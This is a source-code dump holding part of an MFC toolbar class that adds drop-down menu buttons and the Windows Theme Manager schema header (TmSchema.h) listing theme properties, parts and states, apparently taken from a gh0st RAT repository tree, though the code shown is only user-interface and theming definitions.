void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID)
{
if (!m_bDropDown) {
GetToolBarCtrl().SendMessage(TB_SETEXTENDEDSTYLE, 0, (LPARAM)TBSTYLE_EX_DRAWDDARROWS);
m_bDropDown = TRUE;
}
SetButtonStyle(CommandToIndex(uButtonID), TBSTYLE_DROPDOWN);
stDropDownInfo DropDownInfo;
DropDownInfo.pParent = pParent;
DropDownInfo.uButtonID = uButtonID;
DropDownInfo.uMenuID = uMenuID;
m_lstDropDownButton.Add(DropDownInfo);
}
void CTrueColorToolBar::OnToolbarDropDown(NMHDR* NMHDRpnmtb, LRESULT *plr)
{
NMTOOLBARA *pnmtb = (NMTOOLBARA *)NMHDRpnmtb;
for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
if (DropDownInfo.uButtonID == UINT(pnmtb->iItem)) {
CMenu menu;
menu.LoadMenu(DropDownInfo.uMenuID);
CMenu* pPopup = menu.GetSubMenu(0);
CRect rc;
SendMessage(TB_GETRECT, (WPARAM)pnmtb->iItem, (LPARAM)&rc);
ClientToScreen(&rc);
pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
rc.left, rc.bottom, DropDownInfo.pParent, &rc);
break;
}
}
} | 07321-rat | trunk/gh0st/TrueColorToolBar.cpp | C++ | asf20 | 4,572 |
//-----------------------------------------------------------------
// TmSchema.h - Theme Manager schema (properties, parts, etc)
//-----------------------------------------------------------------
// Note: this file is normally #include-ed twice a single .cpp
// file. The 2nd time, SCHEME_STRINGS should be defined.
// This allows the enums and strings to be kept in a
// single logical table and ensure they stay in sync with
// each other.
//-----------------------------------------------------------------
#if (defined(SCHEMA_STRINGS)) || (! defined(TMSCHEMA_H))
//-----------------------------------------------------------------
#define TMSCHEMA_H
//-----------------------------------------------------------------
#include "SchemaDef.h"
//-----------------------------------------------------------------
#define THEMEMGR_VERSION 1 // increment if order of props changes or
// any props are deleted (will prevent loading
// of controlsets that use older version
//-----------------------------------------------------------------
BEGIN_TM_SCHEMA(ThemeMgrSchema)
//-----------------------------------------------------------------
// TM_ENUM (must also be declared in PROPERTIES section)
//
// these cannot be renumbered (part of uxtheme API)
//-----------------------------------------------------------------
BEGIN_TM_ENUM(BGTYPE)
TM_ENUM(0, BT, IMAGEFILE)
TM_ENUM(1, BT, BORDERFILL)
TM_ENUM(2, BT, NONE)
END_TM_ENUM()
BEGIN_TM_ENUM(IMAGELAYOUT)
TM_ENUM(0, IL, VERTICAL)
TM_ENUM(1, IL, HORIZONTAL)
END_TM_ENUM()
BEGIN_TM_ENUM(BORDERTYPE)
TM_ENUM(0, BT, RECT)
TM_ENUM(1, BT, ROUNDRECT)
TM_ENUM(2, BT, ELLIPSE)
END_TM_ENUM()
BEGIN_TM_ENUM(FILLTYPE)
TM_ENUM(0, FT, SOLID)
TM_ENUM(1, FT, VERTGRADIENT)
TM_ENUM(2, FT, HORZGRADIENT)
TM_ENUM(3, FT, RADIALGRADIENT)
TM_ENUM(4, FT, TILEIMAGE)
END_TM_ENUM()
BEGIN_TM_ENUM(SIZINGTYPE)
TM_ENUM(0, ST, TRUESIZE)
TM_ENUM(1, ST, STRETCH)
TM_ENUM(2, ST, TILE)
END_TM_ENUM()
BEGIN_TM_ENUM(HALIGN)
TM_ENUM(0, HA, LEFT)
TM_ENUM(1, HA, CENTER)
TM_ENUM(2, HA, RIGHT)
END_TM_ENUM()
BEGIN_TM_ENUM(CONTENTALIGNMENT)
TM_ENUM(0, CA, LEFT)
TM_ENUM(1, CA, CENTER)
TM_ENUM(2, CA, RIGHT)
END_TM_ENUM()
BEGIN_TM_ENUM(VALIGN)
TM_ENUM(0, VA, TOP)
TM_ENUM(1, VA, CENTER)
TM_ENUM(2, VA, BOTTOM)
END_TM_ENUM()
BEGIN_TM_ENUM(OFFSETTYPE)
TM_ENUM(0, OT, TOPLEFT)
TM_ENUM(1, OT, TOPRIGHT)
TM_ENUM(2, OT, TOPMIDDLE)
TM_ENUM(3, OT, BOTTOMLEFT)
TM_ENUM(4, OT, BOTTOMRIGHT)
TM_ENUM(5, OT, BOTTOMMIDDLE)
TM_ENUM(6, OT, MIDDLELEFT)
TM_ENUM(7, OT, MIDDLERIGHT)
TM_ENUM(8, OT, LEFTOFCAPTION)
TM_ENUM(9, OT, RIGHTOFCAPTION)
TM_ENUM(10, OT, LEFTOFLASTBUTTON)
TM_ENUM(11, OT, RIGHTOFLASTBUTTON)
TM_ENUM(12, OT, ABOVELASTBUTTON)
TM_ENUM(13, OT, BELOWLASTBUTTON)
END_TM_ENUM()
BEGIN_TM_ENUM(ICONEFFECT)
TM_ENUM(0, ICE, NONE)
TM_ENUM(1, ICE, GLOW)
TM_ENUM(2, ICE, SHADOW)
TM_ENUM(3, ICE, PULSE)
TM_ENUM(4, ICE, ALPHA)
END_TM_ENUM()
BEGIN_TM_ENUM(TEXTSHADOWTYPE)
TM_ENUM(0, TST, NONE)
TM_ENUM(1, TST, SINGLE)
TM_ENUM(2, TST, CONTINUOUS)
END_TM_ENUM()
BEGIN_TM_ENUM(GLYPHTYPE)
TM_ENUM(0, GT, NONE)
TM_ENUM(1, GT, IMAGEGLYPH)
TM_ENUM(2, GT, FONTGLYPH)
END_TM_ENUM()
BEGIN_TM_ENUM(IMAGESELECTTYPE)
TM_ENUM(0, IST, NONE)
TM_ENUM(1, IST, SIZE)
TM_ENUM(2, IST, DPI)
END_TM_ENUM()
BEGIN_TM_ENUM(TRUESIZESCALINGTYPE)
TM_ENUM(0, TSST, NONE)
TM_ENUM(1, TSST, SIZE)
TM_ENUM(2, TSST, DPI)
END_TM_ENUM()
BEGIN_TM_ENUM(GLYPHFONTSIZINGTYPE)
TM_ENUM(0, GFST, NONE)
TM_ENUM(1, GFST, SIZE)
TM_ENUM(2, GFST, DPI)
END_TM_ENUM()
//-----------------------------------------------------------------
// PROPERTIES - used by uxtheme rendering and controls
//
// these cannot be renumbered (part of uxtheme API)
//-----------------------------------------------------------------
BEGIN_TM_PROPS()
//---- primitive types ----
TM_PROP(201, TMT, STRING, STRING)
TM_PROP(202, TMT, INT, INT)
TM_PROP(203, TMT, BOOL, BOOL)
TM_PROP(204, TMT, COLOR, COLOR)
TM_PROP(205, TMT, MARGINS, MARGINS)
TM_PROP(206, TMT, FILENAME, FILENAME)
TM_PROP(207, TMT, SIZE, SIZE)
TM_PROP(208, TMT, POSITION, POSITION)
TM_PROP(209, TMT, RECT, RECT)
TM_PROP(210, TMT, FONT, FONT)
TM_PROP(211, TMT, INTLIST, INTLIST)
//---- special misc. properties ----
TM_PROP(401, TMT, COLORSCHEMES, STRING)
TM_PROP(402, TMT, SIZES, STRING)
TM_PROP(403, TMT, CHARSET, INT)
//---- [documentation] properties ----
#define TMT_FIRST_RCSTRING_NAME TMT_DISPLAYNAME
#define TMT_LAST_RCSTRING_NAME TMT_DESCRIPTION
TM_PROP(601, TMT, DISPLAYNAME, STRING)
TM_PROP(602, TMT, TOOLTIP, STRING)
TM_PROP(603, TMT, COMPANY, STRING)
TM_PROP(604, TMT, AUTHOR, STRING)
TM_PROP(605, TMT, COPYRIGHT, STRING)
TM_PROP(606, TMT, URL, STRING)
TM_PROP(607, TMT, VERSION, STRING)
TM_PROP(608, TMT, DESCRIPTION, STRING)
//---- theme metrics: fonts ----
#define TMT_FIRSTFONT TMT_CAPTIONFONT
#define TMT_LASTFONT TMT_ICONTITLEFONT
TM_PROP(801, TMT, CAPTIONFONT, FONT)
TM_PROP(802, TMT, SMALLCAPTIONFONT, FONT)
TM_PROP(803, TMT, MENUFONT, FONT)
TM_PROP(804, TMT, STATUSFONT, FONT)
TM_PROP(805, TMT, MSGBOXFONT, FONT)
TM_PROP(806, TMT, ICONTITLEFONT, FONT)
//---- theme metrics: bools ----
#define TMT_FIRSTBOOL TMT_FLATMENUS
#define TMT_LASTBOOL TMT_FLATMENUS
TM_PROP(1001, TMT, FLATMENUS, BOOL)
//---- theme metrics: sizes ----
#define TMT_FIRSTSIZE TMT_SIZINGBORDERWIDTH
#define TMT_LASTSIZE TMT_MENUBARHEIGHT
TM_PROP(1201, TMT, SIZINGBORDERWIDTH, SIZE)
TM_PROP(1202, TMT, SCROLLBARWIDTH, SIZE)
TM_PROP(1203, TMT, SCROLLBARHEIGHT, SIZE)
TM_PROP(1204, TMT, CAPTIONBARWIDTH, SIZE)
TM_PROP(1205, TMT, CAPTIONBARHEIGHT, SIZE)
TM_PROP(1206, TMT, SMCAPTIONBARWIDTH, SIZE)
TM_PROP(1207, TMT, SMCAPTIONBARHEIGHT, SIZE)
TM_PROP(1208, TMT, MENUBARWIDTH, SIZE)
TM_PROP(1209, TMT, MENUBARHEIGHT, SIZE)
//---- theme metrics: ints ----
#define TMT_FIRSTINT TMT_MINCOLORDEPTH
#define TMT_LASTINT TMT_MINCOLORDEPTH
TM_PROP(1301, TMT, MINCOLORDEPTH, INT)
//---- theme metrics: strings ----
#define TMT_FIRSTSTRING TMT_CSSNAME
#define TMT_LASTSTRING TMT_XMLNAME
TM_PROP(1401, TMT, CSSNAME, STRING)
TM_PROP(1402, TMT, XMLNAME, STRING)
//---- theme metrics: colors ----
#define TMT_FIRSTCOLOR TMT_SCROLLBAR
#define TMT_LASTCOLOR TMT_MENUBAR
TM_PROP(1601, TMT, SCROLLBAR, COLOR)
TM_PROP(1602, TMT, BACKGROUND, COLOR)
TM_PROP(1603, TMT, ACTIVECAPTION, COLOR)
TM_PROP(1604, TMT, INACTIVECAPTION, COLOR)
TM_PROP(1605, TMT, MENU, COLOR)
TM_PROP(1606, TMT, WINDOW, COLOR)
TM_PROP(1607, TMT, WINDOWFRAME, COLOR)
TM_PROP(1608, TMT, MENUTEXT, COLOR)
TM_PROP(1609, TMT, WINDOWTEXT, COLOR)
TM_PROP(1610, TMT, CAPTIONTEXT, COLOR)
TM_PROP(1611, TMT, ACTIVEBORDER, COLOR)
TM_PROP(1612, TMT, INACTIVEBORDER, COLOR)
TM_PROP(1613, TMT, APPWORKSPACE, COLOR)
TM_PROP(1614, TMT, HIGHLIGHT, COLOR)
TM_PROP(1615, TMT, HIGHLIGHTTEXT, COLOR)
TM_PROP(1616, TMT, BTNFACE, COLOR)
TM_PROP(1617, TMT, BTNSHADOW, COLOR)
TM_PROP(1618, TMT, GRAYTEXT, COLOR)
TM_PROP(1619, TMT, BTNTEXT, COLOR)
TM_PROP(1620, TMT, INACTIVECAPTIONTEXT, COLOR)
TM_PROP(1621, TMT, BTNHIGHLIGHT, COLOR)
TM_PROP(1622, TMT, DKSHADOW3D, COLOR)
TM_PROP(1623, TMT, LIGHT3D, COLOR)
TM_PROP(1624, TMT, INFOTEXT, COLOR)
TM_PROP(1625, TMT, INFOBK, COLOR)
TM_PROP(1626, TMT, BUTTONALTERNATEFACE, COLOR)
TM_PROP(1627, TMT, HOTTRACKING, COLOR)
TM_PROP(1628, TMT, GRADIENTACTIVECAPTION, COLOR)
TM_PROP(1629, TMT, GRADIENTINACTIVECAPTION, COLOR)
TM_PROP(1630, TMT, MENUHILIGHT, COLOR)
TM_PROP(1631, TMT, MENUBAR, COLOR)
//---- hue substitutions ----
TM_PROP(1801, TMT, FROMHUE1, INT)
TM_PROP(1802, TMT, FROMHUE2, INT)
TM_PROP(1803, TMT, FROMHUE3, INT)
TM_PROP(1804, TMT, FROMHUE4, INT)
TM_PROP(1805, TMT, FROMHUE5, INT)
TM_PROP(1806, TMT, TOHUE1, INT)
TM_PROP(1807, TMT, TOHUE2, INT)
TM_PROP(1808, TMT, TOHUE3, INT)
TM_PROP(1809, TMT, TOHUE4, INT)
TM_PROP(1810, TMT, TOHUE5, INT)
//---- color substitutions ----
TM_PROP(2001, TMT, FROMCOLOR1, COLOR)
TM_PROP(2002, TMT, FROMCOLOR2, COLOR)
TM_PROP(2003, TMT, FROMCOLOR3, COLOR)
TM_PROP(2004, TMT, FROMCOLOR4, COLOR)
TM_PROP(2005, TMT, FROMCOLOR5, COLOR)
TM_PROP(2006, TMT, TOCOLOR1, COLOR)
TM_PROP(2007, TMT, TOCOLOR2, COLOR)
TM_PROP(2008, TMT, TOCOLOR3, COLOR)
TM_PROP(2009, TMT, TOCOLOR4, COLOR)
TM_PROP(2010, TMT, TOCOLOR5, COLOR)
//---- rendering BOOL properties ----
TM_PROP(2201, TMT, TRANSPARENT, BOOL) // image has transparent areas (see TransparentColor)
TM_PROP(2202, TMT, AUTOSIZE, BOOL) // if TRUE, nonclient caption width varies with text extent
TM_PROP(2203, TMT, BORDERONLY, BOOL) // only draw the border area of the image
TM_PROP(2204, TMT, COMPOSITED, BOOL) // control will handle the composite drawing
TM_PROP(2205, TMT, BGFILL, BOOL) // if TRUE, TRUESIZE images should be drawn on bg fill
TM_PROP(2206, TMT, GLYPHTRANSPARENT, BOOL) // glyph has transparent areas (see GlyphTransparentColor)
TM_PROP(2207, TMT, GLYPHONLY, BOOL) // only draw glyph (not background)
TM_PROP(2208, TMT, ALWAYSSHOWSIZINGBAR, BOOL)
TM_PROP(2209, TMT, MIRRORIMAGE, BOOL) // default=TRUE means image gets mirrored in RTL (Mirror) windows
TM_PROP(2210, TMT, UNIFORMSIZING, BOOL) // if TRUE, height & width must be uniformly sized
TM_PROP(2211, TMT, INTEGRALSIZING, BOOL) // for TRUESIZE and Border sizing; if TRUE, factor must be integer
TM_PROP(2212, TMT, SOURCEGROW, BOOL) // if TRUE, will scale up src image when needed
TM_PROP(2213, TMT, SOURCESHRINK, BOOL) // if TRUE, will scale down src image when needed
//---- rendering INT properties ----
TM_PROP(2401, TMT, IMAGECOUNT, INT) // the number of state images in an imagefile
TM_PROP(2402, TMT, ALPHALEVEL, INT) // (0-255) alpha value for an icon (DrawThemeIcon part)
TM_PROP(2403, TMT, BORDERSIZE, INT) // the size of the border line for bgtype=BorderFill
TM_PROP(2404, TMT, ROUNDCORNERWIDTH, INT) // (0-100) % of roundness for rounded rects
TM_PROP(2405, TMT, ROUNDCORNERHEIGHT, INT) // (0-100) % of roundness for rounded rects
TM_PROP(2406, TMT, GRADIENTRATIO1, INT) // (0-255) - amt of gradient color 1 to use (all must total=255)
TM_PROP(2407, TMT, GRADIENTRATIO2, INT) // (0-255) - amt of gradient color 2 to use (all must total=255)
TM_PROP(2408, TMT, GRADIENTRATIO3, INT) // (0-255) - amt of gradient color 3 to use (all must total=255)
TM_PROP(2409, TMT, GRADIENTRATIO4, INT) // (0-255) - amt of gradient color 4 to use (all must total=255)
TM_PROP(2410, TMT, GRADIENTRATIO5, INT) // (0-255) - amt of gradient color 5 to use (all must total=255)
TM_PROP(2411, TMT, PROGRESSCHUNKSIZE, INT) // size of progress control chunks
TM_PROP(2412, TMT, PROGRESSSPACESIZE, INT) // size of progress control spaces
TM_PROP(2413, TMT, SATURATION, INT) // (0-255) amt of saturation for DrawThemeIcon() part
TM_PROP(2414, TMT, TEXTBORDERSIZE, INT) // size of border around text chars
TM_PROP(2415, TMT, ALPHATHRESHOLD, INT) // (0-255) the min. alpha value of a pixel that is solid
TM_PROP(2416, TMT, WIDTH, SIZE) // custom window prop: size of part (min. window)
TM_PROP(2417, TMT, HEIGHT, SIZE) // custom window prop: size of part (min. window)
TM_PROP(2418, TMT, GLYPHINDEX, INT) // for font-based glyphs, the char index into the font
TM_PROP(2419, TMT, TRUESIZESTRETCHMARK, INT) // stretch TrueSize image when target exceeds source by this percent
TM_PROP(2420, TMT, MINDPI1, INT) // min DPI ImageFile1 was designed for
TM_PROP(2421, TMT, MINDPI2, INT) // min DPI ImageFile1 was designed for
TM_PROP(2422, TMT, MINDPI3, INT) // min DPI ImageFile1 was designed for
TM_PROP(2423, TMT, MINDPI4, INT) // min DPI ImageFile1 was designed for
TM_PROP(2424, TMT, MINDPI5, INT) // min DPI ImageFile1 was designed for
//---- rendering FONT properties ----
TM_PROP(2601, TMT, GLYPHFONT, FONT) // the font that the glyph is drawn with
//---- rendering INTLIST properties ----
// start with 2801
// (from smallest to largest)
//---- rendering FILENAME properties ----
TM_PROP(3001, TMT, IMAGEFILE, FILENAME) // the filename of the image (or basename, for mult. images)
TM_PROP(3002, TMT, IMAGEFILE1, FILENAME) // multiresolution image file
TM_PROP(3003, TMT, IMAGEFILE2, FILENAME) // multiresolution image file
TM_PROP(3004, TMT, IMAGEFILE3, FILENAME) // multiresolution image file
TM_PROP(3005, TMT, IMAGEFILE4, FILENAME) // multiresolution image file
TM_PROP(3006, TMT, IMAGEFILE5, FILENAME) // multiresolution image file
TM_PROP(3007, TMT, STOCKIMAGEFILE, FILENAME) // These are the only images that you can call GetThemeBitmap on
TM_PROP(3008, TMT, GLYPHIMAGEFILE, FILENAME) // the filename for the glyph image
//---- rendering STRING properties ----
TM_PROP(3201, TMT, TEXT, STRING)
//---- rendering POSITION (x and y values) properties ----
TM_PROP(3401, TMT, OFFSET, POSITION) // for window part layout
TM_PROP(3402, TMT, TEXTSHADOWOFFSET, POSITION) // where char shadows are drawn, relative to orig. chars
TM_PROP(3403, TMT, MINSIZE, POSITION) // min dest rect than ImageFile was designed for
TM_PROP(3404, TMT, MINSIZE1, POSITION) // min dest rect than ImageFile1 was designed for
TM_PROP(3405, TMT, MINSIZE2, POSITION) // min dest rect than ImageFile2 was designed for
TM_PROP(3406, TMT, MINSIZE3, POSITION) // min dest rect than ImageFile3 was designed for
TM_PROP(3407, TMT, MINSIZE4, POSITION) // min dest rect than ImageFile4 was designed for
TM_PROP(3408, TMT, MINSIZE5, POSITION) // min dest rect than ImageFile5 was designed for
TM_PROP(3409, TMT, NORMALSIZE, POSITION) // size of dest rect that exactly source
//---- rendering MARGIN properties ----
TM_PROP(3601, TMT, SIZINGMARGINS, MARGINS) // margins used for 9-grid sizing
TM_PROP(3602, TMT, CONTENTMARGINS, MARGINS) // margins that define where content can be placed
TM_PROP(3603, TMT, CAPTIONMARGINS, MARGINS) // margins that define where caption text can be placed
//---- rendering COLOR properties ----
TM_PROP(3801, TMT, BORDERCOLOR, COLOR) // color of borders for BorderFill
TM_PROP(3802, TMT, FILLCOLOR, COLOR) // color of bg fill
TM_PROP(3803, TMT, TEXTCOLOR, COLOR) // color text is drawn in
TM_PROP(3804, TMT, EDGELIGHTCOLOR, COLOR) // edge color
TM_PROP(3805, TMT, EDGEHIGHLIGHTCOLOR, COLOR) // edge color
TM_PROP(3806, TMT, EDGESHADOWCOLOR, COLOR) // edge color
TM_PROP(3807, TMT, EDGEDKSHADOWCOLOR, COLOR) // edge color
TM_PROP(3808, TMT, EDGEFILLCOLOR, COLOR) // edge color
TM_PROP(3809, TMT, TRANSPARENTCOLOR, COLOR) // color of pixels that are treated as transparent (not drawn)
TM_PROP(3810, TMT, GRADIENTCOLOR1, COLOR) // first color in gradient
TM_PROP(3811, TMT, GRADIENTCOLOR2, COLOR) // second color in gradient
TM_PROP(3812, TMT, GRADIENTCOLOR3, COLOR) // third color in gradient
TM_PROP(3813, TMT, GRADIENTCOLOR4, COLOR) // forth color in gradient
TM_PROP(3814, TMT, GRADIENTCOLOR5, COLOR) // fifth color in gradient
TM_PROP(3815, TMT, SHADOWCOLOR, COLOR) // color of text shadow
TM_PROP(3816, TMT, GLOWCOLOR, COLOR) // color of glow produced by DrawThemeIcon
TM_PROP(3817, TMT, TEXTBORDERCOLOR, COLOR) // color of text border
TM_PROP(3818, TMT, TEXTSHADOWCOLOR, COLOR) // color of text shadow
TM_PROP(3819, TMT, GLYPHTEXTCOLOR, COLOR) // color that font-based glyph is drawn with
TM_PROP(3820, TMT, GLYPHTRANSPARENTCOLOR, COLOR) // color of transparent pixels in GlyphImageFile
TM_PROP(3821, TMT, FILLCOLORHINT, COLOR) // hint about fill color used (for custom controls)
TM_PROP(3822, TMT, BORDERCOLORHINT, COLOR) // hint about border color used (for custom controls)
TM_PROP(3823, TMT, ACCENTCOLORHINT, COLOR) // hint about accent color used (for custom controls)
//---- rendering enum properties (must be declared in TM_ENUM section above) ----
TM_PROP(4001, TMT, BGTYPE, ENUM) // basic drawing type for each part
TM_PROP(4002, TMT, BORDERTYPE, ENUM) // type of border for BorderFill parts
TM_PROP(4003, TMT, FILLTYPE, ENUM) // fill shape for BorderFill parts
TM_PROP(4004, TMT, SIZINGTYPE, ENUM) // how to size ImageFile parts
TM_PROP(4005, TMT, HALIGN, ENUM) // horizontal alignment for TRUESIZE parts & glyphs
TM_PROP(4006, TMT, CONTENTALIGNMENT, ENUM) // custom window prop: how text is aligned in caption
TM_PROP(4007, TMT, VALIGN, ENUM) // horizontal alignment for TRUESIZE parts & glyphs
TM_PROP(4008, TMT, OFFSETTYPE, ENUM) // how window part should be placed
TM_PROP(4009, TMT, ICONEFFECT, ENUM) // type of effect to use with DrawThemeIcon
TM_PROP(4010, TMT, TEXTSHADOWTYPE, ENUM) // type of shadow to draw with text
TM_PROP(4011, TMT, IMAGELAYOUT, ENUM) // how multiple images are arranged (horz. or vert.)
TM_PROP(4012, TMT, GLYPHTYPE, ENUM) // controls type of glyph in imagefile objects
TM_PROP(4013, TMT, IMAGESELECTTYPE, ENUM) // controls when to select from IMAGEFILE1...IMAGEFILE5
TM_PROP(4014, TMT, GLYPHFONTSIZINGTYPE, ENUM) // controls when to select a bigger/small glyph font size
TM_PROP(4015, TMT, TRUESIZESCALINGTYPE, ENUM) // controls how TrueSize image is scaled
//---- custom properties (used only by controls/shell) ----
TM_PROP(5001, TMT, USERPICTURE, BOOL)
TM_PROP(5002, TMT, DEFAULTPANESIZE, RECT)
TM_PROP(5003, TMT, BLENDCOLOR, COLOR)
END_TM_PROPS()
//---------------------------------------------------------------------------------------
// "Window" (i.e., non-client) Parts & States
//
// these cannot be renumbered (part of uxtheme API)
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(WINDOW)
TM_PART(1, WP, CAPTION)
TM_PART(2, WP, SMALLCAPTION)
TM_PART(3, WP, MINCAPTION)
TM_PART(4, WP, SMALLMINCAPTION)
TM_PART(5, WP, MAXCAPTION)
TM_PART(6, WP, SMALLMAXCAPTION)
TM_PART(7, WP, FRAMELEFT)
TM_PART(8, WP, FRAMERIGHT)
TM_PART(9, WP, FRAMEBOTTOM)
TM_PART(10, WP, SMALLFRAMELEFT)
TM_PART(11, WP, SMALLFRAMERIGHT)
TM_PART(12, WP, SMALLFRAMEBOTTOM)
//---- window frame buttons ----
TM_PART(13, WP, SYSBUTTON)
TM_PART(14, WP, MDISYSBUTTON)
TM_PART(15, WP, MINBUTTON)
TM_PART(16, WP, MDIMINBUTTON)
TM_PART(17, WP, MAXBUTTON)
TM_PART(18, WP, CLOSEBUTTON)
TM_PART(19, WP, SMALLCLOSEBUTTON)
TM_PART(20, WP, MDICLOSEBUTTON)
TM_PART(21, WP, RESTOREBUTTON)
TM_PART(22, WP, MDIRESTOREBUTTON)
TM_PART(23, WP, HELPBUTTON)
TM_PART(24, WP, MDIHELPBUTTON)
//---- scrollbars
TM_PART(25, WP, HORZSCROLL)
TM_PART(26, WP, HORZTHUMB)
TM_PART(27, WP, VERTSCROLL)
TM_PART(28, WP, VERTTHUMB)
//---- dialog ----
TM_PART(29, WP, DIALOG)
//---- hit-test templates ---
TM_PART(30, WP, CAPTIONSIZINGTEMPLATE)
TM_PART(31, WP, SMALLCAPTIONSIZINGTEMPLATE)
TM_PART(32, WP, FRAMELEFTSIZINGTEMPLATE)
TM_PART(33, WP, SMALLFRAMELEFTSIZINGTEMPLATE)
TM_PART(34, WP, FRAMERIGHTSIZINGTEMPLATE)
TM_PART(35, WP, SMALLFRAMERIGHTSIZINGTEMPLATE)
TM_PART(36, WP, FRAMEBOTTOMSIZINGTEMPLATE)
TM_PART(37, WP, SMALLFRAMEBOTTOMSIZINGTEMPLATE)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(FRAME)
TM_STATE(1, FS, ACTIVE)
TM_STATE(2, FS, INACTIVE)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(CAPTION)
TM_STATE(1, CS, ACTIVE)
TM_STATE(2, CS, INACTIVE)
TM_STATE(3, CS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(MAXCAPTION)
TM_STATE(1, MXCS, ACTIVE)
TM_STATE(2, MXCS, INACTIVE)
TM_STATE(3, MXCS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(MINCAPTION)
TM_STATE(1, MNCS, ACTIVE)
TM_STATE(2, MNCS, INACTIVE)
TM_STATE(3, MNCS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HORZSCROLL)
TM_STATE(1, HSS, NORMAL)
TM_STATE(2, HSS, HOT)
TM_STATE(3, HSS, PUSHED)
TM_STATE(4, HSS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HORZTHUMB)
TM_STATE(1, HTS, NORMAL)
TM_STATE(2, HTS, HOT)
TM_STATE(3, HTS, PUSHED)
TM_STATE(4, HTS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(VERTSCROLL)
TM_STATE(1, VSS, NORMAL)
TM_STATE(2, VSS, HOT)
TM_STATE(3, VSS, PUSHED)
TM_STATE(4, VSS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(VERTTHUMB)
TM_STATE(1, VTS, NORMAL)
TM_STATE(2, VTS, HOT)
TM_STATE(3, VTS, PUSHED)
TM_STATE(4, VTS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(SYSBUTTON)
TM_STATE(1, SBS, NORMAL)
TM_STATE(2, SBS, HOT)
TM_STATE(3, SBS, PUSHED)
TM_STATE(4, SBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(MINBUTTON)
TM_STATE(1, MINBS, NORMAL)
TM_STATE(2, MINBS, HOT)
TM_STATE(3, MINBS, PUSHED)
TM_STATE(4, MINBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(MAXBUTTON)
TM_STATE(1, MAXBS, NORMAL)
TM_STATE(2, MAXBS, HOT)
TM_STATE(3, MAXBS, PUSHED)
TM_STATE(4, MAXBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(RESTOREBUTTON)
TM_STATE(1, RBS, NORMAL)
TM_STATE(2, RBS, HOT)
TM_STATE(3, RBS, PUSHED)
TM_STATE(4, RBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(HELPBUTTON)
TM_STATE(1, HBS, NORMAL)
TM_STATE(2, HBS, HOT)
TM_STATE(3, HBS, PUSHED)
TM_STATE(4, HBS, DISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(CLOSEBUTTON)
TM_STATE(1, CBS, NORMAL)
TM_STATE(2, CBS, HOT)
TM_STATE(3, CBS, PUSHED)
TM_STATE(4, CBS, DISABLED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Button" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(BUTTON)
TM_PART(1, BP, PUSHBUTTON)
TM_PART(2, BP, RADIOBUTTON)
TM_PART(3, BP, CHECKBOX)
TM_PART(4, BP, GROUPBOX)
TM_PART(5, BP, USERBUTTON)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(PUSHBUTTON)
TM_STATE(1, PBS, NORMAL)
TM_STATE(2, PBS, HOT)
TM_STATE(3, PBS, PRESSED)
TM_STATE(4, PBS, DISABLED)
TM_STATE(5, PBS, DEFAULTED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(RADIOBUTTON)
TM_STATE(1, RBS, UNCHECKEDNORMAL)
TM_STATE(2, RBS, UNCHECKEDHOT)
TM_STATE(3, RBS, UNCHECKEDPRESSED)
TM_STATE(4, RBS, UNCHECKEDDISABLED)
TM_STATE(5, RBS, CHECKEDNORMAL)
TM_STATE(6, RBS, CHECKEDHOT)
TM_STATE(7, RBS, CHECKEDPRESSED)
TM_STATE(8, RBS, CHECKEDDISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(CHECKBOX)
TM_STATE(1, CBS, UNCHECKEDNORMAL)
TM_STATE(2, CBS, UNCHECKEDHOT)
TM_STATE(3, CBS, UNCHECKEDPRESSED)
TM_STATE(4, CBS, UNCHECKEDDISABLED)
TM_STATE(5, CBS, CHECKEDNORMAL)
TM_STATE(6, CBS, CHECKEDHOT)
TM_STATE(7, CBS, CHECKEDPRESSED)
TM_STATE(8, CBS, CHECKEDDISABLED)
TM_STATE(9, CBS, MIXEDNORMAL)
TM_STATE(10, CBS, MIXEDHOT)
TM_STATE(11, CBS, MIXEDPRESSED)
TM_STATE(12, CBS, MIXEDDISABLED)
END_TM_PART_STATES()
BEGIN_TM_PART_STATES(GROUPBOX)
TM_STATE(1, GBS, NORMAL)
TM_STATE(2, GBS, DISABLED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Rebar" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(REBAR)
TM_PART(1, RP, GRIPPER)
TM_PART(2, RP, GRIPPERVERT)
TM_PART(3, RP, BAND)
TM_PART(4, RP, CHEVRON)
TM_PART(5, RP, CHEVRONVERT)
END_TM_CLASS_PARTS()
BEGIN_TM_PART_STATES(CHEVRON)
TM_STATE(1, CHEVS, NORMAL)
TM_STATE(2, CHEVS, HOT)
TM_STATE(3, CHEVS, PRESSED)
END_TM_PART_STATES()
//---------------------------------------------------------------------------------------
// "Toolbar" Parts & States
//---------------------------------------------------------------------------------------
BEGIN_TM_CLASS_PARTS(TOOLBAR)
TM_PART(1, TP, BUTTON)
TM_PART(2, TP, DROPDOWNBUTTON)
